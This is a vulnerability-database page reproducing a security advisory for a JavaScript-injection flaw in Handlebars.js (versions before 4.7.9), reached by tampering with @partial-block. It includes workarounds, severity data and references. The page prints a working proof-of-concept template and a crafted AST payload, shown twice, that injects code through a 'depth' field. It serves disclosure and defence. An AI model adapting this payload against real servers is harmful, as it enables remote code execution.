GHSA-3MFM-83XF-C92R

Vulnerability from github – Published: 2026-03-27 18:20 – Updated: 2026-03-27 21:52
VLAI
Summary
Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block
Details

Summary

The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.

Description

Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.

When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.

The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.

Proof of Concept

Tested with Handlebars 4.7.8 and handlebars-helpers:

const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);

const vulnerableTemplate = `
{{#*inline "myPartial"}}
    {{>@partial-block}}
    {{>@partial-block}}
{{/inline}}
{{#>myPartial}}
    {{merge @_parent partial-block=1}}
    {{merge @_parent partial-block=payload}}
{{/myPartial}}
`;

const maliciousContext = {
  payload: {
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Code injected via depth field — breaks out of generated function call
          depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block

Workarounds

  • Use the runtime-only build (require('handlebars/runtime')). The compile() method is absent, eliminating the vulnerable fallback path.
  • Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
  • Avoid registering helpers from third-party packages (such as handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T18:20:44Z",
    "nvd_published_at": "2026-03-27T21:17:27Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{\u003e @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame\u0027s `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{\u003e @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\nconst merge = require(\u0027handlebars-helpers\u0027).object().merge;\nHandlebars.registerHelper(\u0027merge\u0027, merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n    {{\u003e@partial-block}}\n    {{\u003e@partial-block}}\n{{/inline}}\n{{#\u003emyPartial}}\n    {{merge @_parent partial-block=1}}\n    {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n  payload: {\n    type: \"Program\",\n    body: [\n      {\n        type: \"MustacheStatement\",\n        depth: 0,\n        path: {\n          type: \"PathExpression\",\n          parts: [\"pop\"],\n          original: \"this.pop\",\n          // Code injected via depth field \u2014 breaks out of generated function call\n          depth: \"0])),function () {console.error(\u0027VULNERABLE: RCE via @partial-block\u0027);}()));//\",\n        },\n      },\n    ],\n  },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require(\u0027handlebars/runtime\u0027)`). The `compile()` method is  absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers  should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in  contexts where templates or context data can be influenced by untrusted input.",
  "id": "GHSA-3mfm-83xf-c92r",
  "modified": "2026-03-27T21:52:26Z",
  "published": "2026-03-27T18:20:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33938"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.